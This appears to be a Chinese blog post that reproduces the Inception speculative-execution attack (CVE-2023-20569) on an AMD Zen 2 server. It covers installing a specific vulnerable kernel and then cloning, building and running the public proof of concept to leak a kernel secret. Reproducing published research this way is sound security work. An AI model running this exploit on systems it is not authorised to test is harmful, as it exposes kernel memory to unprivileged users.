(CVE-2023-20569)Inception漏洞复现

内容来源:

  1. https://www.usenix.org/conference/usenixsecurity23/presentation/trujillo
  2. https://comsec.ethz.ch/research/microarch/inception/
  3. https://github.com/comsec-group/inception

1 复现环境

  • CPU:AMD EPYC 7252 8-Core Processor(使用的是 zen2 的 CPU,因此复现的是 zen1 或 zen2 的部分)
  • Microcode:0x8301072
  • Linux Kernel:5.19.0-28-generic

img

2 环境配置

linux 内核版本具有限制,如果为非5.19.0-28-generic的 linux 内核无法成功复现实验。

原因是由于代码中部分 gadget 采用的是硬编码的形式,在其他版本的 linux 内核中 gadget 偏移不一致或不存在相关的 gadget。

作者提供的 linux 内核下载链接:https://jknr.me/filez/ubuntu-5.19.0-28-generic.tar.gz

以下是切换内核的相应方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
tar -zxvf ubuntu-5.19.0-28-generic.tar.gz
cd ubuntu-5.19.0-28-generic
sudo cp vmlinuz-5.19.0-28-generic /boot/
sudo cp initrd.img-5.19.0-28-generic /boot/
sudo cp System.map-5.19.0-28-generic /boot/
sudo cp config-5.19.0-28-generic /boot/
sudo vim /etc/default/grub
# GRUB_DEFAULT="1>4"(不一定一样,先采用下面的方法,不行在查该方式的配置方法)
# GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 5.19.0-28-generic"
sudo update-grub
sudo reboot
uname -r
sudo ln -sf <ubuntu-5.19.0-28-generic full path>/usr/src/linux-headers-5.19.0-28-generic /lib/modules/5.19.0-28-generic/build

3 复现步骤

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/comsec-group/inception.git
sudo apt install clang gcc-12
export CC=gcc-12
cd inception/inception/zen_1_2
clang -DZEN2 -DCORE1=1 -DCORE2=9 inception.c -o inception
clang -DSET=33 workload.c -o workload
cd ../kmod
make install
sudo dmesg | tail -n 10 # 获取secret_ptr
cd ../zen_1_2
./inception 0x<secret_ptr>

img


(CVE-2023-20569)Inception漏洞复现
http://candyb0x.github.io/2025/07/17/CVE-2023-20569-Inception漏洞复现/
作者
Candy
发布于
2025年7月17日
更新于
2025年7月17日
许可协议